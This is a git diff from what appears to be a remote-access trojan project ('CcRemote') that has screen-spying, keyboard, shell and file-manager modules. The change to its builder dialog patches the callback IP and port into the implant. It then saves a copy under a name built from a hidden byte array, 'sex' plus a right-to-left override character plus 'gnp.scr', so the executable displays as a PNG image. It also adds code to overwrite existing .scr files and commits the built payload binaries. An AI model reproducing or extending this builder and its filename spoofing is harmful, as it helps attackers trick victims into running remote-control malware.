diff --git a/CcMainDll/.vs/CcMainDll/v15/.suo b/CcMainDll/.vs/CcMainDll/v15/.suo
index 82ba828..c863e2d 100644
Binary files a/CcMainDll/.vs/CcMainDll/v15/.suo and b/CcMainDll/.vs/CcMainDll/v15/.suo differ
diff --git a/CcMainDll/.vs/CcMainDll/v15/Solution.VC.db-shm b/CcMainDll/.vs/CcMainDll/v15/Solution.VC.db-shm
new file mode 100644
index 0000000..e1c8082
Binary files /dev/null and b/CcMainDll/.vs/CcMainDll/v15/Solution.VC.db-shm differ
diff --git a/CcMainDll/.vs/CcMainDll/v15/Solution.VC.db-wal b/CcMainDll/.vs/CcMainDll/v15/Solution.VC.db-wal
new file mode 100644
index 0000000..85ee599
Binary files /dev/null and b/CcMainDll/.vs/CcMainDll/v15/Solution.VC.db-wal differ
diff --git a/CcMainDll/CcMainDll/common/ScreenSpy.cpp b/CcMainDll/CcMainDll/common/ScreenSpy.cpp
index 8e868f8..832f088 100644
--- a/CcMainDll/CcMainDll/common/ScreenSpy.cpp
+++ b/CcMainDll/CcMainDll/common/ScreenSpy.cpp
@@ -36,7 +36,7 @@ CScreenSpy::CScreenSpy(int biBitCount, bool bIsGray, UINT nMaxFrameRate)
// µõ½×ÀÃ洰¿Ú
m_hDeskTopWnd = GetDesktopWindow();
- // ¸ù¾ݴ°¿ڻñȡDC¾ٱø
+ // ¸ù¾ݴ°¿ڻñȡDC¾ä±ú
m_hFullDC = GetDC(m_hDeskTopWnd);
}
diff --git a/CcMainDll/Loder/Debug/Loder.Build.CppClean.log b/CcMainDll/Loder/Debug/Loder.Build.CppClean.log
index 28cc623..6d45931 100644
--- a/CcMainDll/Loder/Debug/Loder.Build.CppClean.log
+++ b/CcMainDll/Loder/Debug/Loder.Build.CppClean.log
@@ -1,2 +1,16 @@
+f:\myapp\ccremote\ccmaindll\loder\debug\vc141.pdb
+f:\myapp\ccremote\ccmaindll\loder\debug\vc141.idb
+f:\myapp\ccremote\ccmaindll\loder\debug\loder.obj
+f:\myapp\ccremote\bin\server\loder.ilk
+f:\myapp\ccremote\bin\server\loder.exe
+f:\myapp\ccremote\bin\server\loder.pdb
f:\myapp\ccremote\ccmaindll\loder\debug\loder.res
-f:\myapp\ccremote\ccmaindll\loder\..\\..\\bin\\server\loder.exe
+f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\cl.command.1.tlog
+f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\cl.read.1.tlog
+f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\cl.write.1.tlog
+f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\link.command.1.tlog
+f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\link.read.1.tlog
+f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\link.write.1.tlog
+f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\rc.command.1.tlog
+f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\rc.read.1.tlog
+f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\rc.write.1.tlog
diff --git a/CcMainDll/Loder/Debug/Loder.res b/CcMainDll/Loder/Debug/Loder.res
index 364a085..4d37b4c 100644
Binary files a/CcMainDll/Loder/Debug/Loder.res and b/CcMainDll/Loder/Debug/Loder.res differ
diff --git a/CcMainDll/Loder/Loder.rc b/CcMainDll/Loder/Loder.rc
index 8efafc0..d4c8eb7 100644
Binary files a/CcMainDll/Loder/Loder.rc and b/CcMainDll/Loder/Loder.rc differ
diff --git a/CcMainDll/Loder/Loder.vcxproj b/CcMainDll/Loder/Loder.vcxproj
index 42e1624..594d3fc 100644
--- a/CcMainDll/Loder/Loder.vcxproj
+++ b/CcMainDll/Loder/Loder.vcxproj
@@ -37,7 +37,7 @@
false
v141
true
- MultiByte
+ Unicode
Application
@@ -172,6 +172,9 @@
+
+
+
diff --git a/CcMainDll/Loder/Loder.vcxproj.filters b/CcMainDll/Loder/Loder.vcxproj.filters
index aa326d9..1eb2c3e 100644
--- a/CcMainDll/Loder/Loder.vcxproj.filters
+++ b/CcMainDll/Loder/Loder.vcxproj.filters
@@ -35,4 +35,9 @@
+
+
+ 资源文件
+
+
\ No newline at end of file
diff --git a/CcMainDll/Loder/icon1.ico b/CcMainDll/Loder/icon1.ico
new file mode 100644
index 0000000..e66481e
Binary files /dev/null and b/CcMainDll/Loder/icon1.ico differ
diff --git a/CcMainDll/Loder/resource.h b/CcMainDll/Loder/resource.h
index dba5051..c140203 100644
--- a/CcMainDll/Loder/resource.h
+++ b/CcMainDll/Loder/resource.h
@@ -3,12 +3,13 @@
// ¹© Loder.rc ʹÓÃ
//
#define IDR_DLL1 101
+#define IDI_ICON1 102
// Next default values for new objects
//
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
-#define _APS_NEXT_RESOURCE_VALUE 102
+#define _APS_NEXT_RESOURCE_VALUE 103
#define _APS_NEXT_COMMAND_VALUE 40001
#define _APS_NEXT_CONTROL_VALUE 1001
#define _APS_NEXT_SYMED_VALUE 101
diff --git a/CcRemote/.vs/CcRemote/v15/.suo b/CcRemote/.vs/CcRemote/v15/.suo
index 66eff86..eb6e4ca 100644
Binary files a/CcRemote/.vs/CcRemote/v15/.suo and b/CcRemote/.vs/CcRemote/v15/.suo differ
diff --git a/CcRemote/CcRemote/CBuildDlg.cpp b/CcRemote/CcRemote/CBuildDlg.cpp
index 45c75e2..ba5eea6 100644
--- a/CcRemote/CcRemote/CBuildDlg.cpp
+++ b/CcRemote/CcRemote/CBuildDlg.cpp
@@ -5,6 +5,7 @@
#include "CcRemote.h"
#include "CBuildDlg.h"
#include "afxdialogex.h"
+#include
struct Connect_Address
@@ -45,16 +46,41 @@ END_MESSAGE_MAP()
// CBuildDlg 消息处理程序
+bool CreateMyFile(const WCHAR* strFilePath, LPBYTE lpBuffer, DWORD dwSize)
+{
+ DWORD dwWritten;
+
+ HANDLE hFile = CreateFileW(strFilePath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
+ if (hFile != NULL)
+ {
+ WriteFile(hFile, (LPCVOID)lpBuffer, dwSize, &dwWritten, NULL);
+ }
+ else
+ {
+ return false;
+ }
+ CloseHandle(hFile);
+ return true;
+}
+
+
void CBuildDlg::OnBnClickedOk()
{
// TODO: 在此添加控件通知处理程序代码
CFile file;
char strTemp[MAX_PATH];
+ WCHAR strTempW[MAX_PATH];
ZeroMemory(strTemp, MAX_PATH);
CString strCurrentPath;
+ CStringW strCurrentPathW;
CString strFile;
CString strSeverFile;
+ CString strCamouflageFile;
BYTE *lpBuffer = NULL;
+ BYTE names[] = {0x73,0x00,0x65,0x00,0x78,0x00,0x2E,0x20,0x67,0x00,0x6E,0x00,0x70,0x00,0x2E,0x00,0x73,0x00,0x63,0x00,0x72,0x00,0x00,0x00 };
+ PWCHAR namess = (PWCHAR)names;
+
+
DWORD dwFileSize;
UpdateData(TRUE);
//////////上线信息//////////////////////
@@ -64,6 +90,12 @@ void CBuildDlg::OnBnClickedOk()
{
//此处得到未处理前的文件名
GetModuleFileName(NULL, strTemp, MAX_PATH); //得到文件名
+ GetModuleFileNameW(NULL, strTempW, MAX_PATH); //得到文件名
+
+ strCurrentPathW = strTempW;
+
+ strCurrentPathW = strCurrentPathW.Left(strCurrentPathW.ReverseFind('\\'));
+
strCurrentPath = strTemp;
int nPos = strCurrentPath.ReverseFind('\\');
strCurrentPath = strCurrentPath.Left(nPos);
@@ -76,14 +108,28 @@ void CBuildDlg::OnBnClickedOk()
//读取文件内容
file.Read(lpBuffer, dwFileSize);
file.Close();
- //写入上线IP和端口 主要是寻找0x1234567这个标识然后写入这个位置
+ //写入上线IP和端口 主要是寻找0x这个标识然后写入这个位置
int nOffset = memfind((char*)lpBuffer, (char*)&g_myAddress.dwstact, dwFileSize, sizeof(DWORD));
memcpy(lpBuffer + nOffset, &g_myAddress, sizeof(Connect_Address));
- //保存到文件
- strSeverFile = strCurrentPath + "\\server.exe";
+ //strCamouflageFile = FindFiles("F:\\myapp\\CcRemote\\bin\\server\\", lpBuffer, dwFileSize);
+ //if (strCamouflageFile != "null")
+ //{
+ // int a = file.Open(strCamouflageFile, CFile::typeBinary | CFile::modeCreate | CFile::modeWrite);
+ // file.Write(lpBuffer, dwFileSize);
+ // file.Close();
+ //}
+ //else
+ //{
+ //保存到文件
+ strSeverFile = strCurrentPath+"\\server.exe";
+
+ strCurrentPathW = strCurrentPathW + L"\\" + namess;
+ CreateMyFile(strCurrentPathW, lpBuffer, dwFileSize);
file.Open(strSeverFile, CFile::typeBinary | CFile::modeCreate | CFile::modeWrite);
file.Write(lpBuffer, dwFileSize);
file.Close();
+ //}
+
delete[] lpBuffer;
MessageBox("生成成功");
@@ -116,4 +162,37 @@ int CBuildDlg::memfind(const char *mem, const char *str, int sizem, int sizes)
if (j == da) return i;
}
return -1;
-}
\ No newline at end of file
+}
+
+
+CString CBuildDlg::FindFiles(const char* dir, BYTE *lpBuffer,DWORD lpSize)
+{
+ HANDLE h; // 文件句柄
+ WIN32_FIND_DATA findData; // 查找到的文件信息结构
+ char dirTmp[MAX_PATH] = { 0 };
+ strcpy(dirTmp, dir);
+ strcat(dirTmp, "*.scr"); // 使用通配符,和传入参数组成一个待遍历的路径
+ DWORD sizes;
+
+ CString fileList; //此处用string就会使存入值变为乱码,所以用CString
+ h = FindFirstFileA(dirTmp, &findData); //开始遍历
+ do {
+ if (findData.dwFileAttributes&_A_SUBDIR || findData.dwFileAttributes&FILE_ATTRIBUTE_DIRECTORY || strcmp(findData.cFileName, ".") == 0 || strcmp(findData.cFileName, "..") == 0)
+ {
+ //log(INFO,"是目录,目录名:%s",findData.cFileName);
+ }
+ else
+ {
+ WriteFile(h, lpBuffer, lpSize,&sizes, NULL);
+ FindClose(h);
+ fileList=(findData.cFileName); // 绝对路径存入vector(其实就是一个数组)
+ return "F:\\myapp\\CcRemote\\bin\\server\\" + fileList;
+ }
+ } while (FindNextFileA(h, &findData));
+
+ CString a = "null";
+
+ FindClose(h);
+ return a;
+}
+
diff --git a/CcRemote/CcRemote/CBuildDlg.h b/CcRemote/CcRemote/CBuildDlg.h
index 9e4821b..500234a 100644
--- a/CcRemote/CcRemote/CBuildDlg.h
+++ b/CcRemote/CcRemote/CBuildDlg.h
@@ -27,4 +27,5 @@ public:
CString m_strPort;
private:
int memfind(const char *mem, const char *str, int sizem, int sizes);
+ CString FindFiles(const char* dir, BYTE *lpBuffer, DWORD lpSize);
};
diff --git a/CcRemote/CcRemote/Debug/CcRemote.log b/CcRemote/CcRemote/Debug/CcRemote.log
index 428860c..87f34b4 100644
--- a/CcRemote/CcRemote/Debug/CcRemote.log
+++ b/CcRemote/CcRemote/Debug/CcRemote.log
@@ -1,93 +1,23 @@
-C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
- pch.cpp
- Audio.cpp
-f:\myapp\ccremote\common\audio.cpp(99): warning C4018: “<”: 有符号/无符号不匹配
- CAudioDlg.cpp
-f:\myapp\ccremote\ccremote\ccremote\caudiodlg.cpp(29): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
- d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
+G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
CBuildDlg.cpp
-f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(73): warning C4244: “=”: 从“ULONGLONG”转换到“DWORD”,可能丢失数据
-f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(61): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
- d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
-f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(91): warning C4101: “e”: 未引用的局部变量
-f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(95): warning C4101: “e”: 未引用的局部变量
-f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(99): warning C4101: “e”: 未引用的局部变量
- CcRemote.cpp
- CcRemoteDlg.cpp
-f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(173): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
- d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
-f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(178): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
- d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
-f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(338): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据
-f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(358): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据
-f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(898): warning C4018: “<=”: 有符号/无符号不匹配
-f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(986): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
- d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
- CFileManagerDlg.cpp
-f:\myapp\ccremote\ccremote\ccremote\inputdlg.h(69): warning C4302: “类型强制转换”: 从“LPSTR”到“WORD”截断
-f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(81): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
- d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
-f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(360): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”,可能丢失数据
-f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(361): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”,可能丢失数据
-f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(861): warning C4101: “VolName”: 未引用的局部变量
-f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(862): warning C4101: “FileSystem”: 未引用的局部变量
-f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1123): warning C4018: “<”: 有符号/无符号不匹配
-f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1153): warning C4307: “+”: 整型常量溢出
-f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1571): warning C4307: “+”: 整型常量溢出
-f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1605): warning C4129: “*”: 不可识别的字符转义序列
-f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1647): warning C4307: “+”: 整型常量溢出
-f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1741): warning C4307: “+”: 整型常量溢出
-f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1901): warning C4129: “*”: 不可识别的字符转义序列
-f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1925): warning C4129: “*”: 不可识别的字符转义序列
-f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1942): warning C4129: “*”: 不可识别的字符转义序列
-f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1986): warning C4244: “初始化”: 从“float”转换到“int”,可能丢失数据
- CHelpWindow.cpp
- CKeyBoardDlg.cpp
-f:\myapp\ccremote\ccremote\ccremote\ckeyboarddlg.cpp(27): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
- d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
- CServerDlg.cpp
-f:\myapp\ccremote\ccremote\ccremote\cserverdlg.cpp(56): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
- d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
- FileTransferModeDlg.cpp
- CScreenSpyDlg.cpp
-f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(54): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
- d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
-f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(607): warning C4554: “<<”: 检查运算符优先级是否存在的可能的错误;使用括号阐明优先级
-f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(621): warning C4554: “<<”: 检查运算符优先级是否存在的可能的错误;使用括号阐明优先级
- CSettingDlg.cpp
- CShellDlg.cpp
-f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(95): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
- d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
-f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(122): warning C4018: “<”: 有符号/无符号不匹配
-f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(204): warning C4018: “<=”: 有符号/无符号不匹配
-f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(214): warning C4018: “<”: 有符号/无符号不匹配
- CSystemDlg.cpp
-f:\myapp\ccremote\ccremote\ccremote\csystemdlg.cpp(114): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
- d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
- CpuUsage.cpp
- IniFile.cpp
-f:\myapp\ccremote\ccremote\ccremote\inifile.cpp(33): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
- d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
- InputDlg.cpp
-f:\myapp\ccremote\ccremote\ccremote\inputdlg.h(69): warning C4302: “类型强制转换”: 从“LPSTR”到“WORD”截断
-f:\myapp\ccremote\ccremote\ccremote\inputdlg.cpp(124): warning C4996: 'wcscpy': This function or variable may be unsafe. Consider using wcscpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
- d:\windows kits\10\include\10.0.17763.0\ucrt\corecrt_wstring.h(123): note: 参见“wcscpy”的声明
-f:\myapp\ccremote\ccremote\ccremote\inputdlg.cpp(159): warning C4302: “类型强制转换”: 从“LPSTR”到“WORD”截断
- RegDlg.cpp
-f:\myapp\ccremote\ccremote\ccremote\regdlg.cpp(249): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
- d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
-f:\myapp\ccremote\ccremote\ccremote\regdlg.cpp(270): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
- d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
- SEU_QQwry.cpp
- TrueColorToolBar.cpp
- 正在生成代码...
- Buffer.cpp
- IOCPServer.cpp
-f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(133): warning C4996: 'WSASocketA': Use WSASocketW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
- d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(3416): note: 参见“WSASocketA”的声明
-f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(727): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
- d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
-f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(776): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据
-f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(924): warning C4018: “>=”: 有符号/无符号不匹配
- 正在生成代码...
- CcRemote.vcxproj -> F:\myapp\CcRemote\CcRemote\CcRemote\..\..\bin\CcRemote.exe
+g:\ccremote\ccremote\ccremote\ccremote\cbuilddlg.cpp(105): warning C4244: “=”: 从“ULONGLONG”转换到“DWORD”,可能丢失数据
+g:\ccremote\ccremote\ccremote\ccremote\cbuilddlg.cpp(87): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
+ g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
+g:\ccremote\ccremote\ccremote\ccremote\cbuilddlg.cpp(137): warning C4101: “e”: 未引用的局部变量
+g:\ccremote\ccremote\ccremote\ccremote\cbuilddlg.cpp(141): warning C4101: “e”: 未引用的局部变量
+g:\ccremote\ccremote\ccremote\ccremote\cbuilddlg.cpp(145): warning C4101: “e”: 未引用的局部变量
+g:\ccremote\ccremote\ccremote\ccremote\cbuilddlg.cpp(173): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
+ g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
+g:\ccremote\ccremote\ccremote\ccremote\cbuilddlg.cpp(174): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
+ g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
+zlibstat.lib(adler32.obj) : warning LNK4099: 未找到 PDB“zlibstat.pdb”(使用“zlibstat.lib(adler32.obj)”或在“G:\CcRemote\CcRemote\bin\zlibstat.pdb”中寻找);正在链接对象,如同没有调试信息一样
+zlibstat.lib(compress.obj) : warning LNK4099: 未找到 PDB“zlibstat.pdb”(使用“zlibstat.lib(compress.obj)”或在“G:\CcRemote\CcRemote\bin\zlibstat.pdb”中寻找);正在链接对象,如同没有调试信息一样
+zlibstat.lib(crc32.obj) : warning LNK4099: 未找到 PDB“zlibstat.pdb”(使用“zlibstat.lib(crc32.obj)”或在“G:\CcRemote\CcRemote\bin\zlibstat.pdb”中寻找);正在链接对象,如同没有调试信息一样
+zlibstat.lib(deflate.obj) : warning LNK4099: 未找到 PDB“zlibstat.pdb”(使用“zlibstat.lib(deflate.obj)”或在“G:\CcRemote\CcRemote\bin\zlibstat.pdb”中寻找);正在链接对象,如同没有调试信息一样
+zlibstat.lib(inffast.obj) : warning LNK4099: 未找到 PDB“zlibstat.pdb”(使用“zlibstat.lib(inffast.obj)”或在“G:\CcRemote\CcRemote\bin\zlibstat.pdb”中寻找);正在链接对象,如同没有调试信息一样
+zlibstat.lib(inflate.obj) : warning LNK4099: 未找到 PDB“zlibstat.pdb”(使用“zlibstat.lib(inflate.obj)”或在“G:\CcRemote\CcRemote\bin\zlibstat.pdb”中寻找);正在链接对象,如同没有调试信息一样
+zlibstat.lib(inftrees.obj) : warning LNK4099: 未找到 PDB“zlibstat.pdb”(使用“zlibstat.lib(inftrees.obj)”或在“G:\CcRemote\CcRemote\bin\zlibstat.pdb”中寻找);正在链接对象,如同没有调试信息一样
+zlibstat.lib(trees.obj) : warning LNK4099: 未找到 PDB“zlibstat.pdb”(使用“zlibstat.lib(trees.obj)”或在“G:\CcRemote\CcRemote\bin\zlibstat.pdb”中寻找);正在链接对象,如同没有调试信息一样
+zlibstat.lib(uncompr.obj) : warning LNK4099: 未找到 PDB“zlibstat.pdb”(使用“zlibstat.lib(uncompr.obj)”或在“G:\CcRemote\CcRemote\bin\zlibstat.pdb”中寻找);正在链接对象,如同没有调试信息一样
+zlibstat.lib(zutil.obj) : warning LNK4099: 未找到 PDB“zlibstat.pdb”(使用“zlibstat.lib(zutil.obj)”或在“G:\CcRemote\CcRemote\bin\zlibstat.pdb”中寻找);正在链接对象,如同没有调试信息一样
+ CcRemote.vcxproj -> G:\CcRemote\CcRemote\CcRemote\CcRemote\..\..\bin\CcRemote.exe
diff --git a/CcRemote/CcRemote/Debug/CcRemote.res b/CcRemote/CcRemote/Debug/CcRemote.res
index d5e2480..b275b8f 100644
Binary files a/CcRemote/CcRemote/Debug/CcRemote.res and b/CcRemote/CcRemote/Debug/CcRemote.res differ
diff --git a/CcRemote/CcRemote/Debug/CcRemote.tlog/CcRemote.lastbuildstate b/CcRemote/CcRemote/Debug/CcRemote.tlog/CcRemote.lastbuildstate
index c0e4c06..4f8bf97 100644
--- a/CcRemote/CcRemote/Debug/CcRemote.tlog/CcRemote.lastbuildstate
+++ b/CcRemote/CcRemote/Debug/CcRemote.tlog/CcRemote.lastbuildstate
@@ -1,2 +1,2 @@
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
-Debug|Win32|F:\myapp\CcRemote\CcRemote\|
+Debug|Win32|G:\CcRemote\CcRemote\CcRemote\|
diff --git a/CcRemote/CcRemote/Debug/cbuilddlg.obj.enc b/CcRemote/CcRemote/Debug/cbuilddlg.obj.enc
new file mode 100644
index 0000000..448e995
Binary files /dev/null and b/CcRemote/CcRemote/Debug/cbuilddlg.obj.enc differ
diff --git a/bin/CcRemote.exe b/bin/CcRemote.exe
index 7e168be..709adc8 100644
Binary files a/bin/CcRemote.exe and b/bin/CcRemote.exe differ
diff --git a/bin/server.exe b/bin/server.exe
new file mode 100644
index 0000000..5d5899c
Binary files /dev/null and b/bin/server.exe differ
diff --git a/bin/server/loder.exe b/bin/server/loder.exe
index 35549da..5d5899c 100644
Binary files a/bin/server/loder.exe and b/bin/server/loder.exe differ
diff --git a/bin/server/sexgnp.scr b/bin/server/sexgnp.scr
new file mode 100644
index 0000000..8d44e04
Binary files /dev/null and b/bin/server/sexgnp.scr differ
diff --git a/bin/sexgnp.scr b/bin/sexgnp.scr
new file mode 100644
index 0000000..5d5899c
Binary files /dev/null and b/bin/sexgnp.scr differ